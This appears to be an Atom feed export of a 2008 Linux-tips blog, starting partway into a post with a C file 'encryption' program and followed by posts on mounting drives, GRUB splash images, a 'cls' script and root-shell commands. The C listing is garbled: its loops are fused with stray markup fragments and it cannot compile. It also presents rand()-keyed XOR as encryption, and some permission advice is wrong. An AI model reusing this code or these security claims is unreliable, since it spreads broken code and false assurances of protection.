I can think of from memory.&lt;br /&gt;Command Line Example: &lt;br /&gt;     Command 1: sudo gcc -o encrypt encrypt.c &lt;br /&gt;     Command 2: ./encrypt &lt;br /&gt;                Note: ...you can copy encrypt to /bin .... &lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;C++ Include Files:&lt;br /&gt;&lt;textarea cols="40" rows="1"&gt; #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; &lt;/textarea&gt;&lt;br /&gt;&lt;hr /&gt;           &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#define KEY_LENGTH 66 * 6&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;unsigned char Random_Byte(void)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;double result;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;result = (double) rand() / (double) RAND_MAX;&lt;br /&gt;&lt;br /&gt;result = result * 255.0;&lt;br /&gt;&lt;br /&gt;return (unsigned char) result;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void Crypt(FILE *input, FILE *output)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;unsigned char key[KEY_LENGTH];&lt;br /&gt;&lt;br /&gt;int key_index, in_value;&lt;br /&gt;&lt;br /&gt;unsigned char out_value, random_value;&lt;br /&gt;&lt;br /&gt;int done;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* create random key */&lt;br /&gt;&lt;br /&gt;for (key_index = 0; key_index &lt; done =" 0;" in_value =" fgetc(input);"&gt;= 0)&lt;br /&gt;&lt;br /&gt;    {&lt;br /&gt;&lt;br /&gt;       out_value = (unsigned char) in_value;&lt;br /&gt;&lt;br /&gt;       random_value = Random_Byte();&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       for (key_index = 0; key_index &lt; out_value =" out_value" out_value =" out_value" done =" 1;" done =" 0;" in_value =" fgetc(input);"&gt;= 0)&lt;br /&gt;&lt;br /&gt;   {&lt;br /&gt;&lt;br /&gt;      random_value = (unsigned char) in_value;&lt;br /&gt;&lt;br /&gt;      in_value = fgetc(input);&lt;br /&gt;&lt;br /&gt;      if (in_value &gt;= 0)&lt;br /&gt;&lt;br /&gt;      {&lt;br /&gt;&lt;br /&gt;          out_value = (unsigned char) in_value;&lt;br /&gt;&lt;br /&gt;          out_value = out_value ^ random_value;&lt;br /&gt;&lt;br /&gt;          for (key_index = (KEY_LENGTH - 1); key_index &gt;= 0; key_index--)&lt;br /&gt;&lt;br /&gt;             out_value = out_value ^ key[key_index];&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;          fputc(out_value, output);&lt;br /&gt;&lt;br /&gt;      }&lt;br /&gt;&lt;br /&gt;      else&lt;br /&gt;&lt;br /&gt;        done = 1;&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    else&lt;br /&gt;&lt;br /&gt;      done = 1;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;}   /* end of while */&lt;br /&gt;&lt;br /&gt;printf("Decrypting file..");&lt;br /&gt;&lt;br /&gt;}  /* end of Decrypt() */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char *argv[])&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;FILE *input, *output;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;if (argc &lt;&gt; &lt;out_file&gt;\n");&lt;br /&gt;&lt;br /&gt;    printf("Use the `e' option to encrypt in_file, producing out_file.\n");&lt;br /&gt;&lt;br /&gt;    printf("Use the `d' option to decrypt out_file giving in_file.\n");&lt;br /&gt;&lt;br /&gt;    printf("Example: Encrypt c plain.txt coded.txt\n");&lt;br /&gt;&lt;br /&gt;    printf("         Encrypt d coded.txt newplain.txt\n");&lt;br /&gt;&lt;br /&gt;    printf("\n Encryption By Johnny Buckallew Stroud\n");&lt;br /&gt;&lt;br /&gt;    return 0;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;if ( (argv[1][0] != 'e') &amp;amp;&amp;amp; (argv[1][0] != 'd') )&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;    printf("First agument must be `e' or `d'.\n");&lt;br /&gt;&lt;br /&gt;    return 1;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;input = fopen(argv[2], "r");&lt;br /&gt;&lt;br /&gt;if (!input)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;   printf("Cannot open %s for reading.\n", argv[2]);&lt;br /&gt;&lt;br /&gt;   printf("Command Example: sudo encrypt e %s outfile.doc \n", argv[2]);    &lt;br /&gt;&lt;br /&gt;   return 1;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;output = fopen(argv[3], "w");&lt;br /&gt;&lt;br /&gt;if (!output)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;   printf("Cannot open %s for writting.\n", argv[3]);&lt;br /&gt;&lt;br /&gt;   printf("sudo encrypt e input.doc %s", argv[3]);&lt;br /&gt;&lt;br /&gt;   fclose(input);&lt;br /&gt;&lt;br /&gt;   return 1;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;printf("Working......");&lt;br /&gt;&lt;br /&gt;srand( time(NULL) );&lt;br /&gt;&lt;br /&gt;if (argv[1][0] == 'e')&lt;br /&gt;&lt;br /&gt;   Crypt(input, output);&lt;br /&gt;&lt;br /&gt;else&lt;br /&gt;&lt;br /&gt;   Decrypt(input, output);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;printf("....Done.\n");&lt;br /&gt;&lt;br /&gt;fclose(input);&lt;br /&gt;&lt;br /&gt;fclose(output);&lt;br /&gt;&lt;br /&gt;return 0;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;}   /* end of main() */&lt;/out_file&gt;&lt;/stdlib.h&gt;&lt;/stdio.h&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-9024641548549280966?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/9024641548549280966/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=9024641548549280966' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/9024641548549280966'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/9024641548549280966'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2008/02/shell-encryption.html' title='Shell Encryption'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-3677116192653522209</id><published>2008-02-05T23:51:00.000-08:00</published><updated>2008-02-06T00:12:39.213-08:00</updated><title type='text'>Linux shell scripting: PART 2</title><content type='html'>&lt;span style="font-style:italic;"&gt;This shell example script mounts the cdrom drive&lt;/span&gt;:&lt;br /&gt;&lt;H2&gt;File Name: readcd&lt;/H2&gt;&lt;br /&gt;&lt;br&gt;&lt;span style="font-weight:bold;"&gt;#!/bin/bash &lt;br /&gt;# CD-ROM Script &lt;br /&gt;echo Setting up cd-rom.. &lt;br /&gt;mount /dev/scd0 /mnt/cdrom &lt;br /&gt;echo ... Done.&lt;/span&gt;&lt;br /&gt;&lt;HR&gt; &lt;BR&gt;&lt;br /&gt;&lt;br /&gt;This example shell script finds and mounts USB/PCMCIA flash drives. you can add this script to,&lt;br /&gt;RedHat Linux 9 as part of the startup configuration scripts.&lt;BR&gt; &lt;br /&gt;&lt;H2&gt;File Name: AutoM&lt;/H2&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;#!/bin/bash &lt;br /&gt;# Auto find &amp; Mount drives script.  &lt;br /&gt;echo Setting up cd-rom... &lt;br /&gt;mount /dev/scd0 /mnt/cdrom &lt;br /&gt;echo ... Done.&lt;br /&gt;mount -t msdos /dev/hde1 /mnt/flash1&lt;br /&gt;mount -t ext2  /dev/hde1 /mnt/flash1 &lt;br /&gt;mount -t ext3  /dev/hde1 /mnt/flash1 &lt;br /&gt;mount -t msdos /dev/hdg1 /mnt/flash2 &lt;br /&gt;mount -t ext3  /dev/hdg1 /mnt/flash2 &lt;br /&gt;mount -t ext2  /dev/hdg1 /mnt/flash2 &lt;br /&gt;mount -t ext2  /dev/sda1 /mnt/usb1&lt;br /&gt;mount -t ext3  /dev/sda1 /mnt/usb1&lt;br /&gt;mount -t msdos /dev/sda1 /mnt/usb1&lt;br /&gt;mount -t ext3  /dev/sdb1 /mnt/usb2 &lt;br /&gt;mount -t ext2  /dev/sdb1 /mnt/usb2&lt;br /&gt;mount -t msdos /dev/sdb1 /mnt/usb2 &lt;br /&gt;mount &lt;/span&gt;&lt;br /&gt;&lt;BR&gt;&lt;HR&gt;&lt;BR&gt;&lt;br /&gt;Script Set-up: &lt;br /&gt;Open A new Shell and type in the next set of 5 commands: &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;cd /mnt/&lt;br /&gt;sudo mkdir /usb1 &lt;br /&gt;sudo mkdir /usb2 &lt;br /&gt;sudo mkdir /flash2 &lt;br /&gt;sudo mkdir /flash1 &lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-3677116192653522209?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/3677116192653522209/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=3677116192653522209' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/3677116192653522209'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/3677116192653522209'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2008/02/linux-shell-scripting-part-2.html' title='Linux shell scripting: PART 2'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-2162829540934945033</id><published>2008-02-04T20:23:00.000-08:00</published><updated>2008-02-04T21:10:54.007-08:00</updated><title type='text'>Yahoo Chat in linux</title><content type='html'>&lt;a href="http://www.phrozensmoke.com/projects/pyvoicechat/index_gyache.php"&gt;Gyach Enhanced/pY! Voice &lt;/a&gt; Website info: full-featured Yahoo client for LINUX with voice chat and webcam support. Mission: To focus on thorough Y! support on Linux only. Philosophy: Trying to do multi-protocol / cross-platform clients slows progress and results in half-baked support - One protocol, one OS...done well. &lt;br /&gt;&lt;br /&gt;&lt;a href="http://sourceforge.net/project/showfiles.php?group_id=158490"&gt;&lt;br /&gt;Download the deb packages&lt;/a&gt; for UBUNTU without haveing to use Alien to convert the RPM files.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Zinc&lt;/span&gt; - is an open source Yahoo! console chat client for GNU/Linux, FreeBSD, NetBSD, OpenBSD, Mac OS X, and Solaris. Zinc is written in &lt;span style="font-weight:bold;"&gt;Python&lt;/span&gt; and released under GPL. Zinc originally started out as a code fork of Curphoo 0.3.7 but it has been completely rewritten since then.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-2162829540934945033?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/2162829540934945033/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=2162829540934945033' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/2162829540934945033'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/2162829540934945033'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2008/02/yahoo-chat-in-linux.html' title='Yahoo Chat in linux'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-3531441836948748833</id><published>2008-02-04T20:11:00.000-08:00</published><updated>2008-02-04T20:21:59.800-08:00</updated><title type='text'>WIFI - WICD Project..</title><content type='html'>&lt;a href="http://www.blogger.com/img/gl.link.gif"&gt;http://wicd.sourceforge.net/&lt;/a&gt; -WICD-&lt;br /&gt;If you hate using the standard WIFI software that UBUNTU has then WICD is an alternative. I never really liked using this software.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-3531441836948748833?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/3531441836948748833/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=3531441836948748833' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/3531441836948748833'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/3531441836948748833'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2008/02/wifi-wicd-project.html' title='WIFI - WICD Project..'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-1904240160493756581</id><published>2008-02-04T19:45:00.000-08:00</published><updated>2008-02-04T20:06:16.558-08:00</updated><title type='text'>Startup manager &amp; Grub</title><content type='html'>First, you should install a startup manager for ubuntu. This tool allows you to change settings in the bootloader and splash screen in Ubuntu Gutsy. Run the following line in your terminal to install this tool.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;    sudo aptitude install startupmanager&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;This may remove some software packages. &lt;br /&gt;&lt;br /&gt;Then, you start up this tool as a root user&lt;br /&gt;&lt;br /&gt;    &lt;span style="font-weight:bold;"&gt;sudo startupmanager&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I installed UBUNTU linux &amp; I get a blank startup screen ? How to fix this hardware bug: &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;    sudo gedit /etc/usplash.conf &lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Maybe, the content of your configuration file looks like this:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;    # Usplash configuration file&lt;br /&gt;    xres=1280&lt;br /&gt;    yres=1024&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You change the resolution in this file to:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;    # Usplash configuration file&lt;br /&gt;    xres=800&lt;br /&gt;    yres=600&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you have grub Installed you can just edit the file with X-Windows Text editor "GEDIT" .. &lt;br /&gt;&lt;br /&gt;Open the shell: &lt;br /&gt;&lt;br /&gt;cd /boot/grub &lt;br /&gt;sudo gedit menu.lst &lt;br /&gt;&lt;br /&gt; There are 3 important things to know about GRUB's splash image support.&lt;br /&gt;&lt;br /&gt;[1] The image needs to be in xpm format.&lt;br /&gt;[2] The image needs to be 640x480 in size.&lt;br /&gt;[3] The image must have only 14 colors.&lt;br /&gt;&lt;br /&gt;The xpm file can be left as is or gzipped; grub seems to load gzipped images a bit faster. The thinking on this is that grub can load a gzipped image and decompress it faster than it can load the full size image, due to hard drive access times.&lt;br /&gt;&lt;br /&gt;You can still change the foreground and background colors of grub's menu if you're using a splash image, but the image itself won't be affected, only the menu overlay.&lt;br /&gt;&lt;br /&gt;Here are a couple ways to get an image in the format you want it:&lt;br /&gt;&lt;br /&gt;The quick way: (using convert from imagemagick)&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;convert -resize 640x480 -colors 14 whatever.xpm newwhatever.xpm &amp;&amp; gzip newwhatever.xpm&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;The slow way: (using the gimp)&lt;br /&gt;&lt;br /&gt;Open the image you want to use in the gimp, click the "Image" menu, then "Mode", then "Indexed". Select "Generate Optimum Palette:" and enter 14 for the maximum number of colors. It's also recommended that you check the "No Color Dithering" option.&lt;br /&gt;After the conversion, save the file as whatever.xpm. The gimp should automatically create the correct format when it saves the file.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;the gimp shell command so you can save the file to "/boot/grub/" :&lt;/span&gt;  &lt;span style="font-weight:bold;"&gt;sudo gimp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;After you've gotten the image into the correct format and gzipped it (or not, your choice), all you need to do is add it to your grub config file, menu.lst (sometimes grub.conf, symlinked to menu.lst or a normal file, depending on your distribution.) The line you need looks something like this:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;splashimage (hd0,2)/grub/crux02.xpm.gz&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This example is from my system, where the image is called crux02.xpm.gz and is stored in /boot/grub. /boot is the 3rd partition on my system, so (hd0,2) is needed to point grub to the right place. As you might guess, grub numbers partitions and drives with a 0-origin. So (hd0,2) means the first hard drive, third partition. GRUB can read many different filesystems, including reiserfs and xfs, fortunately, so nothing funky is needed to get it to see the image path.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-1904240160493756581?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/1904240160493756581/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=1904240160493756581' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/1904240160493756581'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/1904240160493756581'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2008/02/startup-manager.html' title='Startup manager &amp; Grub'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-8191106531253134325</id><published>2008-02-04T16:09:00.000-08:00</published><updated>2008-02-04T19:44:29.776-08:00</updated><title type='text'>Linux shell scripting</title><content type='html'>So you can re-script the Linux shell to act more like ms-dos. The DOS command CLS in ubuntu linux is clear. so you can create a short bash shell script and this is the example: &lt;br /&gt;&lt;br /&gt;open a new shell with the command "&lt;span style="font-weight:bold;"&gt;konsole --type us&lt;/span&gt;" ... &lt;br /&gt;then type the next commands,  &lt;br /&gt;1. &lt;span style="font-weight:bold;"&gt;cd /bin&lt;/span&gt; &lt;br /&gt;2. &lt;span style="font-weight:bold;"&gt;vi cls&lt;br /&gt;&lt;/span&gt;OK, so now you have opened a new file to be scripted called "cls". Next we have to use the shell text editor "VI".  &lt;br /&gt;&lt;br /&gt;type in the script: &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;              #!/bin/sh&lt;br /&gt;              clear &lt;br /&gt;&lt;/span&gt;&lt;br /&gt;it's just 2 lines of text. &lt;br /&gt;&lt;br /&gt;VI editor information: &lt;a href="http://www.blogger.com/img/gl.link.gif"&gt;http://www.eng.hawaii.edu/Tutor/vi.html&lt;/a&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;To Setup the script to execute as a command you change the permissions: &lt;br /&gt; 1.   &lt;span style="font-weight:bold;"&gt;chmod 555 cls&lt;/span&gt; and/or &lt;span style="font-weight:bold;"&gt;chmod 255 cls&lt;/span&gt;        &lt;br /&gt;         (gives everyone read/execute permission) &lt;br /&gt;and/or&lt;br /&gt;  2.   &lt;span style="font-weight:bold;"&gt; chmod +rx cls &lt;/span&gt;&lt;br /&gt;           (gives everyone read/execute permission)&lt;br /&gt;  3.    &lt;span style="font-weight:bold;"&gt;chmod u+rx cls &lt;/span&gt;&lt;br /&gt;           (gives only the script owner read/execute permission)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-8191106531253134325?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/8191106531253134325/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=8191106531253134325' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/8191106531253134325'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/8191106531253134325'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2008/02/linux-shell-scripting.html' title='Linux shell scripting'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-1579243737593496473</id><published>2008-02-04T15:16:00.000-08:00</published><updated>2008-02-04T16:14:31.071-08:00</updated><title type='text'>Konsole Commands</title><content type='html'>&lt;span style="font-weight:bold;"&gt;KONSOLE&lt;/span&gt; – this command can be excited in the KDE or GNOME X-windows environment.&lt;BR&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;gksu /usr/bin/x-terminal-emulator&lt;/span&gt; – this command grants access to the root shell. keep in mind that you have to provide A user password to use the shell. &lt;BR&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Konsole --type us&lt;/span&gt;  - this command starts a shell with super user access. Note: other shell commands &lt;span style="font-weight:bold;"&gt;sudo su&lt;/span&gt; to switch shell sessions to super user access. &lt;BR&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-1579243737593496473?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/1579243737593496473/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=1579243737593496473' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/1579243737593496473'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/1579243737593496473'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2008/02/konsole-commands.html' title='Konsole Commands'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry></feed>
